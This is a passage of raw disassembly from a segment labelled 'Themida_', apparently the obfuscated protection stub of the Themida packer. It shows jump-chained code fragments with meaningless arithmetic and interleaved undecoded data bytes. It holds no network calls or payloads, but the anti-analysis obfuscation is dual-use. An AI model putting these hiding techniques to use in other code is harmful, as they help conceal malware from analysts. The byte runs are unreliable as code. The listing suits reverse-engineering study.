loc_54134F:				; CODE XREF: Themida_:0054134Bj
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_54135E
; ---------------------------------------------------------------------------


loc_541359:				; CODE XREF: Themida_:00541360j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_54135E:				; CODE XREF: Themida_:00541357j
		or	ecx, ecx
		jnz	short loc_541359


loc_541362:				; CODE XREF: Themida_:0054134Dj
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_54136F:				; CODE XREF: Themida_:00541376j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_54136F


loc_541378:				; CODE XREF: Themida_:loc_5419D8j
					; Themida_:loc_542605j	...
		lodsb
		xor	al, bl
		jmp	loc_547019
; ---------------------------------------------------------------------------
a1S		db '1ßéÒ¼',0
		dw 0B900h
aAYs2i		db ' ,',8,'<)ÊYé2‰',0
		align 4
		dd 8124148Bh, 4C4h, 2710E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5413A2:				; CODE XREF: Themida_:00542F85j
		sub	esp, 4
		mov	[esp], ebx
		push	200000h
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		and	eax, ebx
		jmp	loc_545F07
; ---------------------------------------------------------------------------
		dw 0B9h
		dd 21000001h, 2434FFC8h, 1009E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5413DA:				; CODE XREF: Themida_:00546915j
		push	edi
		push	edx
		mov	edx, 412D7B41h
		add	edx, 3503542Ch
		or	edx, 67E20B42h
		xor	edx, 1E00C751h
		mov	edi, edx
		jmp	loc_544B6D
; ---------------------------------------------------------------------------
		dw 5B66h
		dd 80D7B652h, 94E948F6h
		db 9Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_541407:				; CODE XREF: Themida_:00549006j
		mov	ecx, ebp
		pop	ebp
		jmp	loc_5494D9
; ---------------------------------------------------------------------------
		db 59h
		dd 4C181h, 0E4E90000h, 0F600006Bh, 5E8C0D8h, 0CAE9D0F6h
		dd 10000AFh, 24048BC5h,	5704C483h, 2BFh, 5FFD0100h, 4EC81h
		dd 2C890000h, 2474FF24h, 242C8B04h, 8F04C483h, 248B2404h
		dd 4D36624h, 1DE99C24h,	8BFFFFFFh, 43E92424h
		db 27h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_541463:				; CODE XREF: Themida_:0054A3C1j
		shr	ecx, 5
		jmp	loc_547189
; ---------------------------------------------------------------------------
		db 0BAh
		dd 75F033E3h, 4E5AD629h, 74DCE9h, 243C8700h, 4EC835Ch
		dd 0E9241489h, 5D56h, 0E924148Bh, 2839h
; ---------------------------------------------------------------------------


loc_541490:				; CODE XREF: Themida_:0054CF8Cj
		pop	edx
		xor	ebp, ebx
		pop	ebx
		neg	ebp
		add	ebp, 34E92A2Fh
		sub	ebp, 48FB0E21h
		and	eax, ebp
		pop	ebp
		jmp	loc_549EDD
; ---------------------------------------------------------------------------


loc_5414AA:				; CODE XREF: Themida_:0054C437j
		push	esp
		jmp	loc_54BC13
; ---------------------------------------------------------------------------
		dd 8C15E95Bh, 0BDE90000h, 52FFFFFEh, 2D06856h, 348B2529h
		dd 0C1ECE924h, 215E0000h, 2434FFD0h, 0E924148Bh, 1639h
; ---------------------------------------------------------------------------


loc_5414D8:				; CODE XREF: Themida_:005466E0j
		add	bh, cl
		pop	ecx
		sub	ch, bh
		pop	ebx
		add	ch, 38h
		inc	ch
		xor	ch, 5Dh
		jmp	loc_54AA4A
; ---------------------------------------------------------------------------
		db 51h
		dd 827B54B9h, 81D9F77Ah, 9E6961F1h, 59CE0128h, 4F45E9h
		dd 81DAF700h, 0B94341EAh, 0BF28121h, 29B61441h,	0C8295AD0h
		dd 90269D05h, 240C8B26h, 65AA68h, 242C8900h, 0BCE9E589h
		dd 81000006h, 2E9h, 240C8700h, 6624248Bh, 66240C89h, 0E9C8B60Fh
		dd 3C62h, 0F281425Bh, 70AE7605h, 0AC9F281h, 0D0292328h
		dd 5624148Bh, 0C681E689h, 4, 8704C683h,	515C2434h, 0C181E189h
		dd 4, 0A868E9h,	2EFC100h, 0AF9AEF81h, 0F929E511h, 35A2E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_541586:				; CODE XREF: Themida_:005484C4j
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_54B49E
; ---------------------------------------------------------------------------
		db 31h,	0D8h, 5Bh
		dd 30FFC331h, 0FFFDCBE9h, 241C89FFh, 1280E9h, 81CE0100h
		dd 985BE7C6h, 0A365E97Fh, 48F0000h, 24248B24h, 148AE9h
		dd 54B6B800h, 4481121Fh, 765C0424h, 44016276h, 6C810424h
		dd 765C0424h, 29586276h, 0BA522404h, 121F54B6h,	4245429h
		dd 0B5B8E9h, 5B7ABF00h,	0F7811FECh, 6CF65BE4h, 815FFB89h
		dd 0CA4A55C2h, 81DA297Eh, 0CA4A55EAh, 2C685B7Eh, 89000047h
		dd 72BB241Ch, 0D1658F0Eh, 83BE56E3h, 8138FD12h,	0A45220C6h
		dd 5EF331EFh, 5F2EE9h, 241C8B00h, 0E9E08950h, 7D38h
; ---------------------------------------------------------------------------


loc_541644:				; CODE XREF: Themida_:00544785j
		mov	eax, 7955046Dh
		shl	eax, 2
		jmp	loc_54CE71
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 0F6h
		dd 8115CA45h, 0E870A2C2h, 182AE906h, 48B0000h, 4C48324h
		dd 61A2E9h, 24148900h, 2BAh, 0A7EB8100h, 1601638h, 0A7C381D3h
		dd 0E9601638h, 80D1h, 4C781h, 0C7830000h, 243C8704h, 4EC835Ch
		dd 0B9240C89h, 51414327h, 2E45E181h, 0E981062Bh, 0AD068A4h
		dd 68F987h, 29000000h, 875F243Ch, 7AA5E9F9h, 1BA0000h
		dd 0E9000000h, 0B9B1h, 8C5AE953h, 81660000h, 1B452404h
		dd 55C8E9h, 4B496800h, 0C890000h, 0B5D2E924h, 0F6810000h
		dd 7737F84Ah, 348BF389h, 4C48324h, 7AFCB850h, 0E0C17C90h
		dd 326FE906h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_541702:				; CODE XREF: Themida_:00545FE6j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	dword ptr [edi+eax*4]
		push	ebp
		push	ecx
		push	edi
		mov	edi, 57782206h
		not	edi
		not	edi
		shr	edi, 4
		jmp	loc_549989
; ---------------------------------------------------------------------------
		db 8Bh
		dd 53E9241Ch, 8100009Eh, 4C6h, 24348700h, 24048F5Ch, 0B283E9h
		dd 0F9BE5600h, 0C1313C03h, 0EE8107E6h, 105D6640h, 0E1DFC681h
		dd 0F12974D0h, 0A1C1815Eh, 0E92EE129h, 9F76h, 8904EC83h
		dd 0E9522424h, 9945h, 24048B66h, 14D768h, 867BE900h, 0C3010000h
		dd 8F7AE9h, 0D5BD5500h,	0E920CF3Ah, 97Bh, 2474FF50h, 48F5804h
		dd 0DFE95C24h, 300000B9h, 0F3E953D8h, 81000042h, 4C4h
		dd 60BD5500h, 5725E40Bh, 4B7F13BFh, 8BFD3139h, 0C483243Ch
		dd 70C58104h, 0E90F31FCh, 34h, 4DC3E95Eh, 59660000h, 95B05066h
		dd 5866C300h, 0EB80C328h, 0B1515095h, 29B0501Ah, 31E9B92Ch
		dd 59000078h, 28E7C280h, 0ADEAE9EAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5417F6:				; CODE XREF: Themida_:00546039j
		push	ebx
		jmp	loc_542672
; ---------------------------------------------------------------------------
		dd 2D5DE801h, 8A377D3h,	0D305D801h, 2D08A377h, 2BE170E3h
		dd 0C1F4E9h, 777B6800h,	1E918B4h
		db 5Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54181F:				; CODE XREF: Themida_:005421FBj
		mov	ebp, [esp]
		add	esp, 4
		push	417727FFh
		pop	edx
		add	edx, 5A184A8Dh
		add	edx, 64FD70EBh
		jmp	loc_54B3D5
; ---------------------------------------------------------------------------


loc_54183C:				; CODE XREF: Themida_:00543565j
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		jmp	loc_542C2C
; ---------------------------------------------------------------------------
		db 52h
		dd 7D3835BAh, 76E28157h, 81411F76h, 0A5436BE2h,	0A22E976h
		dd 0E0C10000h, 0AC9E906h, 0D5F70000h, 0ED81D5F7h, 0BA75963Bh
		dd 0ECE9EA01h, 81000067h, 4C3h,	4EB8100h, 0E9000000h, 0B8C9h
		dd 57240489h, 0BE05CABFh, 91EF816Fh, 530582E5h,	1D57E9h
		dd 68505200h, 31E36131h, 5AE95058h, 0E900003Eh,	0FFFFFAC8h
		dd 2B37E95Eh, 27050000h, 0F767602Ch, 8472E9D8h,	0C890000h
		dd 62886824h, 29593D46h, 5904244Ch, 83240C8Bh, 0A56804C4h
		dd 8900007Ah, 6853243Ch, 41E30133h, 0FFFD50E9h,	4EC83FFh
		dd 54242C89h, 0A6CDE9h
		db 0
; ---------------------------------------------------------------------------


loc_5418F5:				; CODE XREF: Themida_:00548489j
		shr	ebp, 6
		push	esi
		mov	esi, 20901002h
		push	ebx
		push	eax
		mov	eax, 669E0F0Eh
		mov	ebx, 0F622659Dh
		add	ebx, eax
		jmp	loc_54B02D
; ---------------------------------------------------------------------------
		db 5Bh,	83h, 0C4h
		dd 57ECE904h, 0F7530000h, 505B2414h, 0C60219B8h, 51E82538h
		dd 68E9018Ch
		db 0B5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_54192F:				; CODE XREF: Themida_:0054C9FBj
		or	edi, 59B23981h
		jmp	loc_54A51C
; ---------------------------------------------------------------------------


loc_54193A:				; CODE XREF: Themida_:00543973j
		mov	esi, esp
		add	esi, 4
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		jmp	loc_54D823
; ---------------------------------------------------------------------------
		dd 9C241CF6h, 0FFFF52E9h, 4C481FFh, 33000000h, 0C31240Ch
		dd 240C3324h, 1489665Ch, 9C506624h, 0FFFA03E9h,	1C77FFFFh
		dd 6659669Dh, 9C2414D3h, 2ADE9h, 0ED815900h, 640D6E0Fh
		dd 4572C181h, 4BE923A7h, 0F70000C0h, 0E99C241Ch, 0FFFFF9D8h
		dd 8158C601h, 4C6h, 24348700h
		db 5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	57F9h
		mov	[esp], eax
		mov	eax, 7E6C434Eh
		add	eax, 78B451C2h
		sub	eax, 0F720950Ch
		add	ebp, eax
		pop	eax
		jmp	loc_54834D
; ---------------------------------------------------------------------------


loc_5419CF:				; CODE XREF: Themida_:0054ACABj
		sub	[esp+4], eax
		jmp	loc_54C537
; ---------------------------------------------------------------------------


loc_5419D8:				; CODE XREF: Themida_:0054C3D4j
		jmp	loc_541378
; ---------------------------------------------------------------------------
		db 52h,	0E9h, 44h
		dd 5B00001Ah, 4B29E9h, 24048900h, 1CE95854h, 1000056h
		dd 56515DEEh, 97320B68h, 0EE815E68h, 0B20568Eh,	2342E9h
		db 0
; ---------------------------------------------------------------------------


loc_541A09:				; CODE XREF: Themida_:0054C971j
		xor	edx, 8F573680h
		xor	eax, edx
		pop	edx
		xor	eax, 664140B4h
		sub	eax, 2F02E9EBh
		sub	edx, eax
		mov	eax, [esp]
		add	esp, 4
		xor	ebp, edx
		pop	edx
		mov	ecx, ebp
		pop	ebp
		xor	eax, ecx
		jmp	loc_5428B1
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 51E08950h, 1D3638B9h, 0CCC1810Fh, 1F0E2C9h, 0B5E9E9C8h
		dd 0E94E0000h, 45ADh, 0D7C1815Dh, 898F6AA0h, 0D30159CAh
		dd 0E924148Bh, 7CCh, 8324148Bh,	5CE904C4h
		db 4Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_541A6F:				; CODE XREF: Themida_:0054701Ej
		mov	[esp], edx
		jmp	loc_54BE87
; ---------------------------------------------------------------------------


loc_541A77:				; CODE XREF: Themida_:0054AB9Cj
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		shr	eax, 0Bh
		xor	ecx, eax
		jmp	loc_54BBCD
; ---------------------------------------------------------------------------
		dw 0CD01h
		dd 3D75C581h, 0ED815391h, 76FE2F2Dh, 242C8759h,	39D9685Ch
		dd 14890000h, 22FEBA24h, 0E942732Fh, 281Bh
; ---------------------------------------------------------------------------


loc_541ABC:				; CODE XREF: Themida_:005483C1j
		mov	ecx, 0F764ED0h
		add	eax, ecx
		pop	ecx
		add	eax, 1F95B3Ah
		add	eax, 24313FC1h
		mov	esi, [esp]
		push	3035h
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_5451EE
; ---------------------------------------------------------------------------
		dd 2474FF57h, 48F5F04h,	34FF5C24h, 0BA3AE924h, 8B660000h
		dd 1D68240Ch, 89000010h, 0E2892414h, 3323E9h, 48B6600h
		dd 0E1895124h, 0AE4AE9h, 3BF18100h, 52A56A4h, 116A2483h
		dd 531FE953h, 875E0000h, 685C243Ch, 4D2Fh, 54243C89h, 0A04E9h
		dd 242C8B00h, 8704C483h, 215C240Ch, 0E99C2404h,	0FFFFF830h
		dd 241C8B66h, 0E902C483h, 85F1h, 54240C89h, 0FC23E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_541B5E:				; CODE XREF: Themida_:005425B8j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_54D383
; ---------------------------------------------------------------------------
		dw 0F800h
		dd 992C5B66h, 9904D828h, 5366512Ch, 0D828B1B3h,	68665B66h
		dd 896660CAh, 67B22414h, 0D0288504h, 7035E9h, 58C22900h
		dd 570CB951h, 0B5E9663Bh
		db 24h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_541BAF:				; CODE XREF: Themida_:0054758Cj
		pop	ecx
		push	edx
		mov	edx, 0ED9723Ah
		sub	edx, 30951AD0h
		neg	edx
		add	edx, 21F07AE1h
		xor	edx, 5C53719Eh
		xor	edx, 4F1C0939h
		sub	ebx, edx
		pop	edx
		xor	ebp, ebx
		pop	ebx
		add	ebp, 8B040F0Ah
		and	eax, ebp
		mov	ebp, [esp]
		push	eax
		jmp	loc_541EDB
; ---------------------------------------------------------------------------
		db 56h
		dd 803FBFBEh, 1E24E943h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_541BF2:				; CODE XREF: Themida_:00546A14j
		mov	edx, 50EE1B39h
		jmp	loc_54C89D
; ---------------------------------------------------------------------------
aAYSvi		db 'ېY(I',0
		align 2


loc_541C06:				; CODE XREF: Themida_:0054C49Cj
		add	ebx, edi
		pop	edi
		sub	ebx, eax
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 7FA36843h
		neg	esi
		xor	esi, 6A9D2E14h
		xor	esi, 83D594C7h
		sub	ebx, esi
		jmp	loc_54533B
; ---------------------------------------------------------------------------
aZwsma		db 'ZWéma',0
		align 2
		dw 41E9h
		dd 80FFFFF7h, 0D9F607F1h, 0E9E8C180h, 0B10Bh, 0C181E189h
		dd 4, 2C181h, 0EC810000h, 4, 0E9240C89h, 832h, 242DB951h
		dd 0E9816F0Fh, 56521B16h, 47D3EA81h, 0CA017B58h, 0A4A9E9h
		dd 2C77FF00h, 0FFF6F7E9h, 4C481FFh, 56000000h, 4F4068h
		dd 240C8900h, 4B9h, 8BCE8900h, 0C483240Ch, 0FFF20104h
		dd 348B2434h, 4C48124h,	81000000h, 4C4h, 7277E900h, 0A8BF0000h
		dd 814C9859h, 36E4C7h, 1FE7813Bh, 814F3A57h, 680AE7EFh
		dd 0EF814764h, 8C6CB5A7h, 0F75FFE89h, 0AEC6E9DEh, 0EDD10000h
		dd 1BE9FD87h
		db 58h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_541CE7:				; CODE XREF: Themida_:00542D78j
		sub	edx, 381E6314h
		push	edx
		pop	eax
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5452C1
; ---------------------------------------------------------------------------
		dw 15Bh
		dd 6E95DE9h, 8100004Fh,	4EAh, 24148700h, 7BC2E9h
		db 0
; ---------------------------------------------------------------------------


loc_541D11:				; CODE XREF: Themida_:0054A19Cj
		sub	eax, 0BD2F518Eh
		add	edx, eax
		pop	eax
		jmp	loc_54854E
; ---------------------------------------------------------------------------
aZ4Ser		db '‡4$é¥R',0
		align 2


loc_541D26:				; CODE XREF: Themida_:00548EFDj
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 2CE77837h
		push	esi
		mov	esi, 4C153C9h
		sub	esi, 148E259Ah
		sub	esi, 115A7AE4h
		dec	esi
		xor	esi, 0F887AEA2h
		and	ecx, esi
		pop	esi
		push	ecx
		jmp	loc_546B8D
; ---------------------------------------------------------------------------


loc_541D51:				; CODE XREF: Themida_:00549E93j
		push	ebx
		mov	ebx, 2Ch
		add	ebx, edi
		jmp	loc_548B9E
; ---------------------------------------------------------------------------


loc_541D5E:				; CODE XREF: Themida_:00545D9Bj
		mov	ebx, 53211AA6h
		mov	ebp, 75512BD1h
		xor	ebp, ebx
		pop	ebx
		neg	ebp
		or	ebp, 3E361C8Eh
		add	ebp, 5E897136h
		sub	ebp, 0D76A7896h
		add	edx, 715A0081h
		jmp	loc_544330
; ---------------------------------------------------------------------------


loc_541D8A:				; CODE XREF: Themida_:00547793j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		push	ebx
		mov	ebx, 4
		sub	eax, ebx
		pop	ebx
		jmp	loc_5428CB
; ---------------------------------------------------------------------------
aRXqs?		db 'R¶XQé-?',0
		db 0
; ---------------------------------------------------------------------------


loc_541DB1:				; CODE XREF: Themida_:0054B192j
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 0FFFFFFFFh
		jmp	loc_54A90B
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 5B09127Bh, 218AC681h, 0C68100FAh, 4353C59h, 6CCDC681h
		dd 0BAE96515h, 40000A6h, 58C300F1h, 66C0B60Fh, 661FEF68h
		dd 0E9240489h, 0FFFFF57Ch, 1B8505Ah, 1000000h, 0E98158C1h
		dd 50B62441h, 9A02F305h, 68C80133h, 45CCh, 0BF243C89h
		dd 339A02F3h, 595FF829h, 5004E883h, 42474FFh, 0E924048Bh
		dd 0FEAh, 8104C483h, 4C1h, 4E98300h, 9145E951h,	0E9810000h
		dd 674D6BACh, 0A9F9E9h,	6C685200h, 5A61E770h, 6EDC281h
		dd 0EA8144E7h, 7D62462Eh, 3DA5E281h, 0F0E947EBh, 5800003Dh
		dd 0A6AAE9h
		db 0
; ---------------------------------------------------------------------------


loc_541E75:				; CODE XREF: Themida_:0054B9E5j
		mov	eax, 0D4291B17h
		jmp	loc_5461FE
; ---------------------------------------------------------------------------


loc_541E7F:				; CODE XREF: Themida_:0054C2CFj
		add	ebx, 4
		jmp	loc_545D4A
; ---------------------------------------------------------------------------
		dw 3304h
		dd 0C8283C2Ch, 0AEE93C04h, 0BF000069h, 3B497E66h, 405FF821h
		dd 2069BF57h, 0E7814535h, 118A45FAh, 0D7F7D7F7h, 16C78147h
		dd 3160264Fh, 59505FF8h, 8124048Bh, 4C4h, 0FFC80100h, 94E92434h
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_541ECF:				; CODE XREF: Themida_:0054A9C9j
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_54665C
; ---------------------------------------------------------------------------


loc_541EDB:				; CODE XREF: Themida_:00541BE2j
		mov	eax, esp
		jmp	loc_54571F
; ---------------------------------------------------------------------------


loc_541EE2:				; CODE XREF: Themida_:0054424Fj
		add	edi, eax
		add	edi, 315F03F6h
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_54D13E
; ---------------------------------------------------------------------------
		dd 5E2434FFh, 3E54E9h, 0F472E900h, 0EC83FFFFh, 243C8904h
		dd 544BB850h, 58E94E80h, 57000063h, 0C519B5BFh,	0DEE7814Bh
		dd 8158B744h, 0F02088C7h, 8BF82917h, 0C483243Ch, 5C82904h
		dd 6075211Ch, 40360559h, 0DBE960C6h, 5200007Ah,	0CE80F5B6h
		dd 0D6C680A4h, 804AEE80h, 33E90CC7h
		db 32h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_541F57:				; CODE XREF: Themida_:0054805Ej
		push	ebx
		jmp	loc_5491F8
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
aSi_0		db '\é‰',1Bh,0
		align 2
		dw 3CB8h
		dd 116704Dh, 0E9042444h, 0B0A1h, 9AFBB53h, 9ABD4D42h, 1B50045h
		dd 0B8505BDDh, 1C05921h, 4558C509h, 0F581DDF7h,	19384576h
		dd 0E903E5C1h, 3E2Eh, 50241489h, 0F3D2E99Ch, 0F681FFFFh
		dd 435D3254h, 58F5EE81h, 0CE816C13h, 424C5B74h,	0FBF4EE81h
		dd 0F301D66Ch, 6702685Eh, 1C890000h, 2474FF24h,	48F5B04h
		dd 24248B24h, 9CC88566h, 0FFF39BE9h, 8C980FFh, 79E9D9F6h
		dd 5800008Ah, 16EAE9h
		db 0
; ---------------------------------------------------------------------------


loc_541FED:				; CODE XREF: Themida_:00542706j
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		jmp	loc_54D105
; ---------------------------------------------------------------------------
		dd 0E9241487h, 4404h, 26E9E389h
		db 26h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_542007:				; CODE XREF: Themida_:0054C577j
		mov	ebx, 370F6CBEh
		xor	edx, ebx
		push	dword ptr [esp]
		jmp	loc_542E55
; ---------------------------------------------------------------------------
		dw 0D889h
		dd 1DBD555Bh, 0F7646C03h, 51ED81D5h, 0E92BA415h, 9BDAh
		dd 81E78957h, 4C7h, 4EF8300h, 5C243C87h, 0B9240C89h, 2
		dd 34FFCA01h, 54505924h, 40558h, 12E90000h, 290000A0h
		dd 2131E9CBh, 8DBF0000h, 5057C46Eh, 7408F3B8h, 97632D0Fh
		dd 0B6E9B600h
		db 78h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_542073:				; CODE XREF: Themida_:0054CD9Dj
		pop	edx
		jmp	loc_54596A
; ---------------------------------------------------------------------------
		db 1, 0EAh, 5Dh
aPswe		db 'PéwE',0
		align 2
		dw 0C31h
		dd 240C3324h, 0FFF3CEE9h, 50E6D1FFh, 9B119FB8h,	3BFEE913h
		dd 0C1810000h, 452F50BFh, 0E981C129h, 452F50BFh, 3A72E9h
		dd 4C78300h, 8B243C87h,	0A4E92424h, 8300003Eh, 3C3302C7h
		dd 243C3124h, 6671E9h, 70E95A00h, 5E000059h, 104C483h
		dd 0BA525EF0h, 24CE40F2h, 58BBE9h, 81E38900h, 4C3h, 4C38300h
		dd 0E9241C87h, 83C5h, 1118C181h, 0F9014B75h, 1118E981h
		dd 11E94B75h, 0F700003Fh, 29B951D5h, 0E9318E6Eh, 4E69h
		dd 5266C828h, 0D80444B6h, 0D0E9F028h, 0FF0000B1h, 48B2434h
		dd 79E95624h, 10000A3h,	0F8015DE8h, 286AE9h, 1E1EBA00h
		dd 0D33157FAh, 0CEB815Ah, 157927Ch, 0FF525BDAh,	0E9042474h
		dd 4EE6h, 1E99E951h, 57550000h,	0A70F76BFh, 0FFFD893Bh
		dd 0E95F2434h, 1398h
; ---------------------------------------------------------------------------


loc_54216C:				; CODE XREF: Themida_:00547BD4j
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		jmp	loc_54D36D
; ---------------------------------------------------------------------------
		dw 0EDE9h
		dd 83FFFFF1h, 4E902C2h,	55000065h, 8AF6E9h, 0DD895A00h
		dd 0ECF5815Bh, 813F990Ah, 200418EDh, 65D3E94Bh,	0E6000000h
		dd 0F8B55158h, 0C580C5FEh, 59EE2860h, 0D005E6C0h, 0C6B151E6h
		dd 0E1C0D9F6h, 0F6C1FE03h, 80C1FED1h, 0BEE9C8E9h, 6600006Fh
		dd 6824048Bh, 28C4h, 9B11E9h
		db 0
; ---------------------------------------------------------------------------


loc_5421E5:				; CODE XREF: Themida_:00544513j
		or	ebp, 26D4590Ah
		neg	ebp
		xor	ebp, 4F590992h
		add	ebp, 0A21E781Ch
		mov	eax, ebp
		jmp	loc_54181F
; ---------------------------------------------------------------------------
		dd 4C4815Eh, 0E9000000h, 7ECCh,	505156ADh, 0D2405B8h, 0E9C1896Bh
		dd 20E4h, 4989E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_542222:				; CODE XREF: Themida_:0054D632j
		shl	ecx, 6
		xor	ecx, 3A997244h
		jmp	loc_542A1C
; ---------------------------------------------------------------------------
		dd 5504C483h, 2BDh, 0E9EB0100h,	9209h
; ---------------------------------------------------------------------------


loc_542240:				; CODE XREF: Themida_:005433EBj
		mov	ebx, 24F86E52h
		shr	ebx, 3
		shr	ebx, 6
		or	ebx, 5F177D07h
		xor	ebx, 20AE1067h
		xor	edx, ebx
		jmp	loc_545E79
; ---------------------------------------------------------------------------
		dw 0DFF7h
		dd 0BE56h, 0FE290000h, 0E95EF789h, 3C4h, 885AF088h, 24048BC7h
		dd 0E9E18951h, 2E26h, 7D57EA81h, 0EA815ECEh, 9665BBE4h
		dd 0E95AD189h, 753h, 88DA8852h,	285B5AD5h, 768EE9EBh, 0E95E0000h
		dd 5F9Dh, 81D830ACh, 2ECh, 1C896600h, 4EC8324h,	51240489h
		dd 48CB050h, 0F6FD0463h, 88BA04D0h, 0AB058C1h, 130CD8F6h
		dd 781CE9h, 68565500h, 4A5946CDh, 52F6815Eh, 81089235h
		dd 95675EEEh, 7EC8E955h, 2D680000h, 5F7B263Fh, 0C781D7F7h
		dd 7B263F30h, 9A4FE9h, 24F5BD00h, 0E5C13C9Ah, 0A4F58105h
		dd 0E993449Eh, 41BEh, 4C281h, 0C2810000h, 4, 0E9241487h
		dd 2618h, 55E9505Dh, 500005Dh, 46C8B04h, 8158C589h, 2A7684EFh
		dd 81EF0171h, 2A7684C7h, 2434FF71h, 4C4835Dh, 2474FF57h
		dd 48F5F04h, 24248B24h,	0A0068h, 24048900h, 0FFF013E9h
		dd 1EEBB8FFh, 61E98582h, 8B000067h, 54572404h, 1851E9h
		db 0
; ---------------------------------------------------------------------------


loc_542379:				; CODE XREF: Themida_:005489CBj
		add	edi, 1
		sub	edi, 2FBA4A19h
		jmp	loc_543149
; ---------------------------------------------------------------------------
		dw 0E681h
		dd 0EBA4C5Ah, 90F6E9h
		db 0
; ---------------------------------------------------------------------------


loc_542395:				; CODE XREF: Themida_:00546487j
		push	cx
		mov	cl, 9Bh
		and	dl, cl
		pop	cx
		push	ecx
		jmp	loc_545D3E
; ---------------------------------------------------------------------------
		db 8Bh
		dd 54562404h, 4C6815Eh,	52000000h, 5547BD55h, 4BBA2AA7h
		dd 292AA755h, 0D6015DEAh, 0A022E95Ah, 0ADE90000h, 5BFFFFEFh
		dd 4246C01h, 2434FF5Dh,	0E789575Dh, 4C781h, 0CAE90000h
		dd 55FFFFFCh, 2434FF54h, 4C4815Dh, 50000000h, 5064E9h
		dd 52565900h, 0A2DFE9h,	28E78100h, 812F846Eh, 2D7F79EFh
		dd 0AE59E934h, 0EB010000h, 4E3C15Dh, 605CBE56h,	0F30126DDh
		dd 0FFFB015Eh, 2434FF33h, 9948E9h, 2E59BF00h, 0CF813D5Fh
		dd 7DB332FDh, 0C105EFC1h, 61E907EFh, 8100000Bh,	0E7258EC3h
		dd 41BF5747h, 95DB96Dh,	0EB815FFBh, 7DB9FFDDh, 835BDA01h
		dd 0B3E902C2h
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54245F:				; CODE XREF: Themida_:0054BF37j
		push	65856BEDh
		pop	ebp
		jmp	loc_549517
; ---------------------------------------------------------------------------
		dw 8957h
		dd 4C781E7h, 81000000h,	4C7h, 5A0EE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54247E:				; CODE XREF: Themida_:00542D87j
		add	esp, 4
		jmp	loc_54C989
; ---------------------------------------------------------------------------
aFhkqs		db 'fhŠQé°',27h,0
		align 2
		dw 74FFh
		dd 8F590424h, 7AE92404h, 5700006Ah, 0C781E789h,	4, 4C781h
		dd 3C870000h, 0AFE95C24h, 5B000007h, 8858E688h,	24148BF1h
		dd 8004C483h, 0F90012E9h, 8B12C180h, 0C483241Ch, 59C80004h
		dd 0B60FC330h, 8734FFC0h, 582434FFh, 83E78957h,	148904ECh
		dd 9265E924h, 0C1810000h, 2EE7184Fh, 5208E9C1h,	92D2E9h
		dd 26E95100h
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_542503:				; CODE XREF: Themida_:00545BCAj
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		idiv	cx
		push	5AC2h
		mov	[esp], edx
		push	esp
		pop	edx
		push	ecx
		mov	ecx, esp
		jmp	loc_5468FA
; ---------------------------------------------------------------------------
		db 81h
		dd 42404h, 0B3E90000h, 50000071h, 96E9E089h, 510000A2h
		dd 81D3E9h, 243C8B00h, 5204C483h, 0F74032BAh, 0E9DAF72Ah
		dd 5A7h, 3C8BF901h, 0E3895324h,	70A3E9h, 2CC18100h, 5E251205h
		dd 5659CE01h, 0A1C7E9h
		db 0
; ---------------------------------------------------------------------------


loc_542569:				; CODE XREF: Themida_:005491FDj
		xor	edx, ebx
		pop	ebx
